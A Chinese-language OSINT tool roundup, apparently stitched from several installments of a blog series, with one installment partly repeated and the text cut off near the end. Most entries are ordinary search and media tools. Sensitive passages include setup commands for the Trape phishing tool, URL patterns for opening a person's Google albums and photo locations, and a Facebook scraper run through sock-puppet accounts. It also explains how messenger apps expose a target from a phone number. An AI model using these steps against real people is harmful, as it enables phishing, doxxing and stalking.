作为安全专家，您肯定知道有多种方法可以获取有关目标的信息，其中一种方法是运行远程扫描并检查打开的端口或任何暴露的漏洞。而有针对性的社交工程攻击是第二种非常普遍使用的方式。如果您对第二种感兴趣，那么 Trape 是您的最佳选择。

此工具提供了许多很棒的功能。在您为自己的组织执行的渗透测试期间，使用此工具将很有用，以通过网络钓鱼和社交工程攻击来测试目标，并查看目标如何与链接交互。

使用方式

首先：

```
//git clone https://github.com/jofpin/trape.git//

//cd trape//

//python2 trape.py -h//
```

如果不起作用，请尝试安装 requirements.txt 中的所有库：

```
python2 -m pip install -r requirements.txt
```

执行示例：

```
Example: python2 trape.py --url http://example.com
--port 8080
```

帮助和选项：

```
//user:~$ python2 trape.py --help//

//usage: python trape.py -u 「」 -p 「」 [-h] [-v]
[-u URL] [-p PORT] //

// [-ak ACCESSKEY] [-l LOCAL] //

// [--update] [-n] [-ic INJC]//

//optional arguments: //

//-h, --help show this help message and exit //

//-v, --version show program's version number and
exit //

//-u URL, --url URL Put the web page url to clone
//

//-p PORT, --port PORT Insert your port//

//-ak ACCESSKEY, --accesskey ACCESSKEY//

// Insert your custom key access //

//-l LOCAL, --local LOCAL//

// Insert your home file //

//-n, --ngrok Insert your ngrok Authtoken//

//-ic INJC, --injectcode INJC//

// Insert your custom REST API path //

//-ud UPDATE, --update UPDATE//

// Update trape to the latest version//
```

您可以在此处阅读更多信息并下载该工具：https://github.com/jofpin/

3、可视化影响力关系网络

「图」

这是调查信息战和挖掘旋转门的有效工具。实例报告：

- 《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》
- 《追踪谷歌的政治旋转门：开源调查》

Oligrapher 是可视化影响网络的工具。Oligrapher 最初是为了与 LittleSis 数据一起使用而开发的。现在，可以安装它与其他数据集一起使用。

只要数据格式符合正确的标准，Oligrapher 的最新版本即可与非 LittleSis数据集一起运行。

特征包括：

- 全屏和嵌入式地图
- 可自定义的节点、边线和文本
- 轻松创建和显示网络图
- 添加图像、标签、链接和标题
- 通过拖动节点和边缘来定制图形布局
- 从 LittleSis 和其他API导入数据
- 撤消和重做对图形的编辑
- 可以在所有现代网络浏览器上运行

在下面看到演示视频：

链接：https://github.com/skomputer/oligrapher

4、抓取评论的工具

「图」

这是一个站点，可以轻松将 Facebook、Instagram 或 Twitter 帖子中的所有评论导入到CSV文件。

对于追踪和调查 trolls/信息战 来说比较有用 —— 因为大多数信息战账户只评论不发帖。

- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 《如何分辨：机器人、僵尸网络和 trolls》

您只需要把准备抓取的帖子链接贴进去就行了。

链接：https://exportcomments.com/

5、直接进入目标人的Google相册

「图」

用户 pal737 分享了指向 Google 相册的直接链接。只需在以下URL中填写用户ID，即可带您进入 Google 帐户的相册：

```
[[https://get.google.com/albumarchive/|https://get.google.com/albumarchive/]]''用户ID''
```

还有另一个链接，可以显示拍摄照片的位置。再次，只需填写Google用户ID，只要其中包含位置信息，它就会弹出一个带有相册位置的Google Map：

```
[[https://maps.google.com/maps/contrib/|https://maps.google.com/maps/contrib/userID/photos]]''[[userID|https://maps.google.com/maps/contrib/userID/photos]]''[[/photos|https://maps.google.com/maps/contrib/userID/photos]]
```

6、终极 Facebook 抓取工具

「图」

该机器人可抓取 Facebook 用户个人资料的几乎所有内容，包括用户时间轴上可用的所有公共帖子/状态、上传的照片、带标签的照片、视频、朋友列表、及其个人资料照片（包括关注者、关注的人、工作朋友、大学朋友等）。

数据以有组织的格式被抓取，以供研究人员用于教育/研究目的。此抓取工具不使用 Facebook 的 Graph API，这意味着没有速率限制问题。

您需要的是：

- 安装最新版本的 Google Chrome。
- 安装 Python 3

- 具有未启用 2FA 的 Facebook 袜子木偶帐户

```
$ git clone https://github.com/harismuneer/
Ultimate-Facebook-Scraper.git

$ cd Ultimate-Facebook-Scraper

# Set up a virtual env

$ python3 -m venv venv

$ source venv/bin/activate

# Install Python requirements

$ pip install -e .
```

该工具仅用于研究目的。因此，此工具的开发人员对使用此工具收集的任何数据的滥用概不负责。许多研究人员和开源情报分析人员使用它。

☞如果您的袜子木偶帐户是使用2FA设置的，则此工具将无法使用。您必须先禁用它，然后再使用。

关于如何制作袜子木偶：《如何快速创建一个假人？简易版分身术—调查人员使用》。

GitHub：https：*github.com/harismuneer/Ultimate-Facebook-Scraper !!!7*、快速跟进消息 「图」 这是一个新的自定义搜索引擎，可从 *Twitter*、*Reddit* 和 *4Chan* 中挖掘包含 *Google Map* 链接的搜索结果。上图是示例。 如果您要搜索特定事件并希望紧跟最新的消息，这是一个很好用的工具。 链接：*https://cse.google.com/cse?cx=015328649639895072395:sbv3zyxzmji#gsc.tab=0* ○□ —— 持续更新中—— 原文

实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）

新生情报工具

【2020年6月9日存档】继续不定期更新系列

欢迎回来！依旧希望今天的内容能对您有用。

1、实时新闻地图

「图」

这是一个现场新闻地图。也许您对香港感兴趣、或者叙利亚、伊拉克、北非、美国、克什米尔 …… 随便什么地方。您可以在这里直接选择自己感兴趣的位置，点击地图上的标志看到实时动态。

选择您感兴趣的地区：

设定您需要的时间范围：

选择 key 看到地图上的标志代表什么：

请注意：这是在推文中带有关键字和标签的情况下才会被抓取的。

换句话说，如果您已经完美匿名、并希望内容被抓取以获得更大的传播能力，请使用标签和完全未编辑的关键字；

但是，如果您希望避免被抓取、以防止政府间谍使用社交媒体情报搜罗到你，那就必须编辑关键字、并禁止标签。

上述全网通用与GFW无关。

链接：http://liveuamap.com

2、一系列开源情报工具

「图」

- **Sherlock**

在整个社交网络上按用户名搜索社交媒体帐户。也就是跨站追踪。您可以使用这类工具来侦查自己是否会被捕捉到。及时调整，以改变危险状态。

- 别忘了我们做过的相关追踪演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 以及防御方法《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

链接：https://github.com/sherlock-project/sherlock#usage

- **Photon**

专门为开源情报调查设计的快速抓取工具。

爬网时可以提取以下数据：

- URLs（范围内外）
- 带参数的URLs（`example.com/gallery.php?id=2`）
- 电子邮件、社交媒体帐户、亚马逊存储桶等
- 文件（pdf，png，xml 等）
- Secret keys（auth / API密钥和哈希）
- JavaScript 文件和端点
- 匹配自定义正则表达式模式的字符串
- 子域和DNS相关数据

提取的信息以有组织的方式保存或可以导出为 json。

链接：https://github.com/s0md3v/Photon

- **Subfinder**

Subfinder 是一个子域发现工具，可发现网站的有效子域。设计为被动框架，可用于bug赏金和渗透测试。它具有简单的模块化架构，并

针对速度进行了优化。

请注意，subfinder 需要 go1.13 以上才能成功安装。

链接：https://github.com/projectdiscovery/subfinder

- **Tinfoleak**

Twitter 情报分析的最完整的开源情报工具。

tinfoleak 是专门用于 OSINT（开源情报）和 SOCMINT（社交媒体情报）的有用工具，可自动提取 Twitter 上的信息，便于后续分析以生成情报。它可以显示有用的结构化信息。

tinfoleak 包含在多个 Linux 发行版中：Kali，CAINE，BlackArch 和 Buscador。它是当前 Twitter 上用于情报分析的最全面的开源工具。

看演示视频：

链接：https://github.com/vaguileradiaz/tinfoleak

- **Instaloader**

针对 Instagram 的社交媒体情报工具。从 Instagram 下载图片（或视频）以及其说明文字和其他元数据。

- 下载公共和私人资料、标签、用户故事、提要和保存的媒体
- 下载每个帖子的评论、地理标记和说明文字
- 自动检查个人资料名的更改并相应地重命名目标目录
- 允许对过滤器进行细粒度的自定义、以及将下载的媒体存储在何处的自定义

链接：https://github.com/instaloader/instaloader

- **Phoneinfoga**

先进的电话号码信息收集和开源情报工具。

PhoneInfoga 是仅使用免费资源即可扫描电话号码的最先进工具之一。目的是首先以非常好的准确性在任何国际电话号码上收集标准信息，例如国家、地区、运营商和线路类型。然后在搜索引擎上搜索足迹，以尝试查找VoIP提供商或识别所有者。

特征：

- 检查电话号码是否存在并可用
- 收集标准信息，例如国家/地区，线路类型和运营商
- 使用外部 API、Google Hacking、电话簿和搜索引擎挖掘开源情报足迹
- 检查声誉报告、社交媒体、是否一次性号码及其他
- 一次扫描多个号码
- 使用自定义格式进行更有效的开源情报侦查
- 多种自定义格式

链接：https://github.com/sundowndev/PhoneInfoga

- **Gitgot**

半自动化、反馈驱动的工具，可在 GitHub 上的大量公共数据中快速搜索敏感机密。

用户可以按文件名、存储库名称、用户名或文件内容的模糊匹配将文件列入黑名单。

链接：https://github.com/BishopFox/GitGot

- **Intrigue Core**

发现你的攻击面。

Intrigue-core 是用于外部攻击面发现和自动开源情报的框架。该框架设计用于以下用例：

- 资产发现（应用和基础设施）
- 安全研究和漏洞扫描
- 探索性开源情报（人员、系统、实体）
- 恶意软件IOC
- 面向防御的数据收集管道

许多任务通过外部 API 进行，因此需要配置密钥。至“配置”选项卡，然后单击模块的名称。您将被带到相关的注册页面，您可以在其中配置API密钥。这些密钥最终存储在 file: config/config.json 中。

链接：https://github.com/intrigueio/intrigue-core

- **Pagodo**

这是一个自动化 Google Dork 抓取工具。关于 Google Dork 参见下面：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

该项目的目标是开发一个被动的 Google dork 脚本，以收集互联网上潜在的易受攻击的网页和应用。

如果您开始收到 HTTP 503 错误，说明 Google 已经检测到你是机器人，并在设定的时间内阻止您的IP。解决方案是使用代理链和一组代理来循环查找。

链接：https://github.com/opsdisk/pagodo

- **The Endorser**

开源情报工具，可让您通过资质/技能在 LinkedIn 上绘制人与人之间的关系。下面是示例图：

Endorser 是“模块化的”，它可以以不同的方式输出和可视化数据。

链接：https://github.com/eth0izzle/the-endorser

- **Buster**

电子邮件侦查工具。

Buster 是一种高级开源情报工具，用于：

- 使用多种来源获取目标电子邮件的社交帐户（ gravatar，about.me，myspace，skype，github，linkedin，曾经泄露的信息）
- 使用 Google、twitter、darksearch 和 paste 站点获取指向找到的电子邮件地址的任何关联信息
- 获取通过目标电子邮件注册的域（反向Whois）
- 生成目标人可能的电子邮件和用户名列表
- 查找社交媒体帐户的电子邮件
- 通过用户名查找电子邮件
- 查找目标人的工作电子邮件

链接：https://github.com/sham00n/buster

- **Orbit**

调查区块链交易的工具。

我们介绍过相关操作，见：《如何使用区块链追踪暗网服务交易》，以及《在区块链上追踪比特币交易》。

Orbit 是自动化的，旨在通过递归地浏览交易历史记录来探索区块链钱包的网络。数据以可视化形式呈现，很直观。

Orbit 仅可在 Python 3.2 及更高版本上运行。

链接：https://github.com/s0md3v/Orbit

3、给公民调查人员的5个小工具

「图」

不要错过我们的 “公民调查技巧” 系列（暂未完成，很快会完成！）：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
- 《FBI同款调查技巧—公民调查指南（6）》

公民调查人员没有主流媒体那么多的钱，甚至完全没有预算，所以我们的原则是：尽可能少花钱，把功能集中在一台设备上 —— 比如你的手机。

手机对于追踪调查来说的确方便，很多事的确在手机上就可以完成。这里介绍的工具就是帮您在手机上完成任务的，让您的消息获得更多吸引力。

现场播报的活动家、实地调查的NGO组织等，都可以使用。

这是快餐时代，微型叙事格式可以在很短的时间内被掌握并消化，因此，您肯定不希望花费数小时的制作时间为那两分钟。所以，这里推荐的工具就是帮您简化流程的，尤其要提升质量。

当然，IYP 坚持推荐优质的长读报告，就如我们在列表5 中收集的“长读” 作品所展示的那样。

而这里的工具将作为精简版、尤其是宣传目标，协助您的工作 —— 适合社交媒体传播。

- **Canva**

这是一款“免费”图形设计应用，可在 Apple 和 Android 上使用。

Canva 是创建拼贴的完美选择，可以将视频和静止图像结合到 Instagram 故事和信息图表中。

如果您发现使用 Canva 在移动设备上创建信息图表的工作有点麻烦，没关系它还有一个桌面版本，该版本允许您把素材从手机导入计算机操作。

- **Storyboard & Snapseed**

为了真正从社交媒体内容创建应用程序中获得最佳效果，有时您需要把不同的工具组合起来使用。

例如，电视频道 RTL 在其社交媒体帖子中宣传了德国电视节目 “Take Me Out” 的新系列，几分钟内就获得了大量的点赞。因为他们把宣传片做成了适合社交媒体发布的短视频。

为了创建这种发布模式，需要使用 Storyboard 应用程序（仅适用于 Android）将视频剪辑转换为适合社交媒体发布的形式。

接下来，使用 Snapseed 应用程序（适合 Apple 和 Android）导入上述生成，添加字幕和装饰，帮助创建叙事，这样一来您可以以新颖而引人入胜的方式呈现故事。尤其是活动家的宣传工作，很适合使用这些工具。

这样的工具可以为通常非常无聊或普通的图像注入新的活力。

- **Stop Motion Studio**

这是一个动画应用程序，可在社交媒体上提供更多可能性。在视觉上足够吸引人，不过要实现这一目标需要您投入一些时间。

- **ThingLink**

交互式媒体工具 ThingLink 可以说很著名了，是做专题报道的有用工具，而且用途广泛。您可以向静止图像添加多媒体按钮，以显示其他文本、图片或视频。

可以在一个小空间里放置很多内容。

不过，ThingLink 有一个很大的缺点就是，这些功能尚未与 Facebook、Instagram 或 Twitter 等社交媒体平台兼容。它只能作为插件嵌入到网站中。

但是它的效果非常棒，您也可以作出纽约时报那种非常漂亮的页面。

加油！〇

—— 持续更新中 ——

原文

实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）- iYouPort

新生情报工具

继续不定期更新系列

「图」

「图」

如果您忘记了本系列内容的由来、或者还没有读过以前的内容，可以在下面回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来》
- 《新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪》
- 《新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频》
- 《去模糊化、挖人际关系、自动社交工程攻击、监视信息战：新生情报工具（8）》
- 《实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军刀：新生情报工具（9）》
- 《根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）》

依旧希望今天的内容能对您有用。

「图」

「图」

1、实时新闻地图

这是一个现场新闻地图。也许您对香港感兴趣、或者叙利亚、伊拉克、北非、美国、克什米尔 …… 随便什么地方。您可以在这里直接选择自己感兴趣的位置，点击地图上的标志看到实时动态。

选择您感兴趣的地区：

「图」

「图」

设定您需要的时间范围：

「图」

「图」

选择 key 看到地图上的标志代表什么：

「图」

「图」

请注意：这是在推文中带有关键字和标签的情况下才会被抓取的。

换句话说，如果您已经完美匿名、并希望内容被抓取以获得更大的传播能力，请使用标签和完全未编辑的关键字；

但是，如果您希望避免被抓取、以防止政府间谍使用社交媒体情报搜罗到你，那就必须编辑关键字、并禁止标签。

上述全网通用与GFW无关。

链接：http://liveuamap.com

2、一系列开源情报工具

- **Sherlock**

在整个社交网络上按用户名搜索社交媒体帐户。也就是跨站追踪。您可以使用这类工具来侦查自己是否会被捕捉到。及时调整，以改变危险状态。

- 别忘了我们做过的相关追踪演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 以及防御方法《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

链接：https://github.com/sherlock-project/sherlock#usage

- **Photon**

专门为开源情报调查设计的快速抓取工具。

爬网时可以提取以下数据：

- URLs（范围内外）
- 带参数的URLs（`example.com/gallery.php?id=2`）
- 电子邮件、社交媒体帐户、亚马逊存储桶等
- 文件（pdf，png，xml 等）
- Secret keys（auth / API密钥和哈希）
- JavaScript 文件和端点
- 匹配自定义正则表达式模式的字符串
- 子域和DNS相关数据

提取的信息以有组织的方式保存或可以导出为 json。

链接：https://github.com/s0md3v/Photon

- **Subfinder**

Subfinder 是一个子域发现工具，可发现网站的有效子域。设计为被动框架，可用于bug赏金和渗透测试。它具有简单的模块化架构，并针对速度进行了优化。

「图」

「图」

请注意，subfinder 需要 go1.13 以上才能成功安装。

链接：https://github.com/projectdiscovery/subfinder

- **Tinfoleak**

Twitter 情报分析的最完整的开源情报工具。

tinfoleak 是专门用于 OSINT（开源情报）和 SOCMINT（社交媒体情报）的有用工具，可自动提取 Twitter 上的信息，便于后续分析以生成情报。它可以显示有用的结构化信息。

tinfoleak 包含在多个 Linux 发行版中：Kali，CAINE，BlackArch 和 Buscador。它是当前 Twitter 上用于情报分析的最全面的开源工具。

看演示视频：

链接：https://github.com/vaguileradiaz/tinfoleak

- **Instaloader**

针对 Instagram 的社交媒体情报工具。从 Instagram 下载图片（或视频）以及其说明文字和其他元数据。

- 下载公共和私人资料、标签、用户故事、提要和保存的媒体
- 下载每个帖子的评论、地理标记和说明文字
- 自动检查个人资料名的更改并相应地重命名目标目录
- 允许对过滤器进行细粒度的自定义、以及将下载的媒体存储在何处的自定义

链接：https://github.com/instaloader/instaloader

- **Phoneinfoga**

先进的电话号码信息收集和开源情报工具。

PhoneInfoga 是仅使用免费资源即可扫描电话号码的最先进工具之一。目的是首先以非常好的准确性在任何国际电话号码上收集标准信息，例如国家、地区、运营商和线路类型。然后在搜索引擎上搜索足

迹，以尝试查找VoIP提供商或识别所有者。

「图」

「图」

特征：

- 检查电话号码是否存在并可用
- 收集标准信息，例如国家/地区，线路类型和运营商
- 使用外部 API、Google Hacking、电话簿和搜索引擎挖掘开源情报足迹
- 检查声誉报告、社交媒体、是否一次性号码及其他
- 一次扫描多个号码
- 使用自定义格式进行更有效的开源情报侦查
- 多种自定义格式

链接：https://github.com/sundowndev/PhoneInfoga

- **Gitgot**

半自动化、反馈驱动的工具，可在 GitHub 上的大量公共数据中快速搜索敏感机密。

用户可以按文件名、存储库名称、用户名或文件内容的模糊匹配将文件列入黑名单。

「图」

「图」

链接：https://github.com/BishopFox/GitGot

- **Intrigue Core**

发现你的攻击面。

Intrigue-core 是用于外部攻击面发现和自动开源情报的框架。该框架设计用于以下用例：

- 资产发现（应用和基础设施）
- 安全研究和漏洞扫描

- 探索性开源情报（人员、系统、实体）
- 恶意软件IOC
- 面向防御的数据收集管道

许多任务通过外部 API 进行，因此需要配置密钥。至 “配置” 选项卡，然后单击模块的名称。您将被带到相关的注册页面，您可以在其中配置API密钥。这些密钥最终存储在 file: config/config.json 中。

链接：https://github.com/intrigueio/intrigue-core

- **Pagodo**

这是一个自动化 Google Dork 抓取工具。关于 Google Dork 参见下面：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

该项目的目标是开发一个被动的 Google dork 脚本，以收集互联网上潜在的易受攻击的网页和应用。

如果您开始收到 HTTP 503 错误，说明 Google 已经检测到你是机器人，并在设定的时间内阻止您的IP。解决方案是使用代理链和一组代理来循环查找。

链接：https://github.com/opsdisk/pagodo

- **The Endorser**

开源情报工具，可让您通过资质/技能在 LinkedIn 上绘制人与人之间的关系。下面是示例图：

「图」

「图」

Endorser 是 “模块化的”，它可以以不同的方式输出和可视化数据。

链接：https://github.com/eth0izzle/the-endorser

- **Buster**

电子邮件侦查工具。

Buster 是一种高级开源情报工具，用于：

- 使用多种来源获取目标电子邮件的社交帐户（ gravatar，about.me，myspace，skype，github，linkedin，曾经泄露的信息）
- 使用 Google、twitter、darksearch 和 paste 站点获取指向找到的电子邮件地址的任何关联信息
- 获取通过目标电子邮件注册的域（反向Whois）
- 生成目标人可能的电子邮件和用户名列表
- 查找社交媒体帐户的电子邮件
- 通过用户名查找电子邮件
- 查找目标人的工作电子邮件

链接：https://github.com/sham00n/buster

- **Orbit**

调查区块链交易的工具。

我们介绍过相关操作，见：《如何使用区块链追踪暗网服务交易》，以及《在区块链上追踪比特币交易》。

Orbit 是自动化的，旨在通过递归地浏览交易历史记录来探索区块链钱包的网络。数据以可视化形式呈现，很直观。

Orbit 仅可在 Python 3.2 及更高版本上运行。

链接：https://github.com/s0md3v/Orbit

3、给公民调查人员的5个小工具

不要错过我们的 “公民调查技巧” 系列（暂未完成，很快会完成！）：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》

- 《FBI同款调查技巧—公民调查指南（6）》

公民调查人员没有主流媒体那么多的钱，甚至完全没有预算，所以我们的原则是：尽可能少花钱，把功能集中在一台设备上 —— 比如你的手机。

手机对于追踪调查来说的确方便，很多事的确在手机上就可以完成。这里介绍的工具就是帮您在手机上完成任务的，让您的消息获得更多吸引力。

现场播报的活动家、实地调查的**NGO**组织等，都可以使用。

这是快餐时代，微型叙事格式可以在很短的时间内被掌握并消化，因此，您肯定不希望花费数小时的制作时间为那两分钟。所以，这里推荐的工具就是帮您简化流程的，尤其要提升质量。

当然，IYP 坚持推荐优质的长读报告，就如我们在列表5 中收集的“长读” 作品所展示的那样。

而这里的工具将作为精简版、尤其是宣传目标，协助您的工作 —— 适合社交媒体传播。

- **Canva**

这是一款“免费”图形设计应用，可在 Apple 和 Android 上使用。

Canva 是创建拼贴的完美选择，可以将视频和静止图像结合到 Instagram 故事和信息图表中。

如果您发现使用 Canva 在移动设备上创建信息图表的工作有点麻烦，没关系它还有一个桌面版本，该版本允许您把素材从手机导入计算机操作。

- **Storyboard & Snapseed**

为了真正从社交媒体内容创建应用程序中获得最佳效果，有时您需要把不同的工具组合起来使用。

例如，电视频道 RTL 在其社交媒体帖子中宣传了德国电视节目 “Take Me Out” 的新系列，几分钟内就获得了大量的点赞。因为他们把宣传片做成了适合社交媒体发布的短视频。

为了创建这种发布模式，需要使用 Storyboard 应用程序（仅适用于 Android）将视频剪辑转换为适合社交媒体发布的形式。

接下来，使用 Snapseed 应用程序（适合 Apple 和 Android）导入上述生成，添加字幕和装饰，帮助创建叙事，这样一来您可以以新颖而引人入胜的方式呈现故事。尤其是活动家的宣传工作，很适合使用这些工具。

这样的工具可以为通常非常无聊或普通的图像注入新的活力。

- **Stop Motion Studio**

这是一个动画应用程序，可在社交媒体上提供更多可能性。在视觉上足够吸引人，不过要实现这一目标需要您投入一些时间。

- **ThingLink**

交互式媒体工具 ThingLink 可以说很著名了，是做专题报道的有用工具，而且用途广泛。您可以向静止图像添加多媒体按钮，以显示其他文本、图片或视频。

可以在一个小空间里放置很多内容。

不过，ThingLink 有一个很大的缺点就是，这些功能尚未与 Facebook、Instagram 或 Twitter 等社交媒体平台兼容。它只能作为插件嵌入到网站中。

但是它的效果非常棒，您也可以作出纽约时报那种非常漂亮的页面。

加油！○

—— 持续更新中 —— 广告

原文

种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12） - iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年7月7日存档】继续不定期更新系列

欢迎回来！

依旧希望今天的内容能对您有用 —— 今天是一大堆挖信息的能力，以及一个思考方式。

1、挖 Telegram

这里是一些针对 telegram 的开源情报的调查工具：

搜频道、群组、机器人等：https://lyzem.com/

搜公开信息：https://search.buzz.im/

一个 telegram 分析平台，可搜索关键字、资源、按日期过滤、按语种过滤、按频道查询 等等：https://tgstat.ru/en/search

按 ID，用户名、电话号码、群组搜索：https://github.com/pielco11/telescan

2、挖资源

搜索音乐、电影、书籍、软件等东西的平台：http://torrbot.com/

3、挖区块链交易和比特币搜索

首先是一个调查区块链交易的工具：Orbit（github.com/s0md3v/Orbit）。

需要 Python 3.2 及更高版本。

它是自动化的，并且数据可以以图表形式呈现，很直观。

关于如何《在区块链上追踪比特币交易》的手动方法见这里。以及一个演示案例《演示：对 Elon Musk 比特币诈骗的开源调查》。

此外，比特币搜索工具：

http://bitcoin-search-engine.com

http://blockchair.com

http://bchsvexplorer.com

http://oyo.cash

http://btc.com

http://bitcoinwhoswho.com

http://seekoin.com

http://trends.cash

http://cryptowat.ch

http://walletexplorer.com

4、挖视频

以下是一系列视频搜索工具：

http://peteyvid.com

http://youtube.com

http://google.com/videohp

http://metacafe.com

http://veoh.com

http://360daily.com

http://tubesearch.info

http://metatube.com

5、挖数据/数据集

一系列针对数据/数据集的搜索工具：

http://toolbox.google.com/datasetsearch

http://kaggle.com/datasets

http://data.fivethirtyeight.com

http://datasearch.elsevier.com/#/

http://data.gov

http://ncdc.noaa.gov/data-access

http://grouplens.org/datasets/

http://icpsr.umich.edu

http://healthdata.gov

https://datastudio.google.com

6、挖抖音

TikTok（抖音）搜索引擎：

https://cse.google.com/cse?cx=011444696387487602669:aqf7d9w73om

7、挖应用

Chrome 网上应用店搜索引擎：

https://cse.google.com/cse?cx=006205189065513216365:pn3lumi80ne

8、其他自定义搜索

Google Docs自定义搜索引擎：

https://cse.google.com/cse?cx=013991603413798772546:rse-4irjrn8

☞Hacking Docs 搜索引擎：

https://cse.google.com/cse?cx=013991603413798772546:ekjmizm8vus

WordPress博客自定义搜索引擎：

https://cse.google.com/cse?cx=017261104271573007538:ffk_jpt64gy

☞搜脑图的自定义搜索引擎（这里面会有很多好玩的东西）：

https://cse.google.com/cse?cx=013991603413798772546:gj6rx9spox8

9、挖暗网

一系列暗网搜索引擎：

bullmask.com

http://haystakvxad7wbk5.onion.ws

http://hss3uro2hsxfogfq.onion.sh

http://onionlandsearchengine.com

http://tor2web.onionsearchengine.com

http://xmh57jrzrnw6insl.onion.sh

http://grams.link

http://hss3uro2hsxfogfq.onion.sh

http://darksearch.io

http://ahmia.fi

http://onionsearchengine.com

10、搜种子

一系列洪流（种子）搜索引擎：

http://yify-torrent.org

http://glodls.to

http://idope.se

http://kat.rip

http://bitlordsearch.com

http://torlock.com

http://torrentdownloads.me

http://search.torrents.io

http://1337x.to

http://torrentproject.cc

http://xtorx.com

http://torrentrex.com

http://veoble.com

http://torrentz2eu.in

http://torrentz2eu.buzz

http://torrentz2eu.org

http://torrents.io

http://torrentseeker.com

http://torrentscan.com

http://toorgle.com

11、搜流行病和任何其他疾病信息

一些专用来搜医疗信息的搜索引擎和平台：

pogofrog.com

openmd.com

medlineplus.gov

the-best-medical-search-engine.org

medscape.com

allmedx.com

ncbi.nlm.nih.gov/pubmed/

googlemt.com

findzebra.com

orpha.net

12、这是一些方法介绍：利用通信应用实现开源情报

Ginger_T 研究了一大堆可用的 Messenger 应用程序，希望查看可以使用目标的手机号码来利用哪些信息进行开源情报调查。

以下是哪些应用程序在全球范围内流行的图示：

重要的是要了解每个应用程序的工作方式以及作为调查人员，您留给目标人的潜在追踪痕迹，要把后者减少到最低。

此处显示的所有应用程序都为研究人员/调查人员提供了不同的东西，并且在创建帐户时一定程度上依赖于目标提供的信息。

☞换句话说，如果您担心自己成为 *目标*，您需要在使用任何一种应用程序时都保持对提供信息的谨慎 —— 尽可能使用假信息。

Strava，Voxer，Skype 有潜力提供位置信息和其他个人信息；

GroupMe，Line，Skype，Strava，Telegram，Wire 等应用程序将为您提供创建帐户时目标注册的名字，而不是您在联系人中可能创建的名字。

Apple Facetime 和 Google Duo 在个人资料照片或个人信息方面似乎提供的不多；但是，它们确实有用的地方是追踪者可以潜在地确认目标存在 Apple 或 Google 帐户。然后在顺藤摸。

您有时也必须耐心，因为并非所有应用程序都立即同步，或者同步频率不一致。

☞根据您能找到的尽可能多的信息，下一步就是应用开源情报常规步骤了：按用户名全网捕捞、按位置追踪、按头像追踪等等。

不要错过：《如果你擅长搜索，你能找到一切：搜索工具大全》

下面归纳一下。

Google Duo—App & Website

- 可以确认目标人在Duo上。
- 它将通知目标人您已将他们添加到联系人中，您现在也加入了Duo，因此这可能是一个隐患，具体取决于您的目标是什么。
- 但它确实提供了机会，因为您拥有与谷歌产品相关联的真实电话号码。

Facebook Messenger—App / Website

- 可以了解到个人资料图片和来自 Facebook 简历的详细信息。有些人会倾向于在此处使用真实照片和真实资料，他们为了“找到朋友”，于是你知道，追踪者喜欢这个。

Facetime

- 如果您在 iPhone 上添加联系人，它将告诉您该联系人号码是否在 Facetime 上。因此可以轻松地确定您的目标人可能正在使用Apple产品。
- 这可能是一个机会，因为您拥有与 Apple 产品相关的真实电话号码。

GroupMe—App / Website

- 将提供个人资料照片，不是您电话簿中联系人的姓名。

ICQ—App / Website

- 个人资料图片、昵称、姓名、BIO 和最近一次登陆。
- 当目标人在线时它会显示。

Line

- 个人资料图片。对方必须更改设置，才能将其添加为联系人
- 目标人会看到您作为“好友推荐”，具体根据对方的设置。当目标在线时它也会显示出来

Skype—App / Desktop

- **Skype** 是追踪者的最爱之一，因为使用它的人往往会放弃更多私密信息。
- Skype 将显示用户名、个人资料图片，还提供目标人设置的位置信息以及出生日期等。《如何在地图上轻而易举找到一个 Skype 用户的具体地理位置？》

Telegram—App / Desktop

- 您可以看到用户的个人资料照片，用户名和个人简介以及他们最近一次登陆的信息。
- 还可以看到目标人加入了哪些你知道的群组、分享过什么媒体信息等等（在桌面版）

WeChat—APP

- 如果与目标人在同一群组中就可以看到微信ID，以及目标人自己设置的位置
- 与 telegram 类似，您可以看到“附近的用户”，显示他们的个人资料图片和姓名。

WhatsApp—App / Desktop

- 个人资料图片、Last seen、状态和简介
- 即使禁用了“Last seen”您仍然可以看到目标人何时在线。

Wire—App / Desktop

- 只能看到用户设置的用户名、照片和ID

Signal—App / Desktop

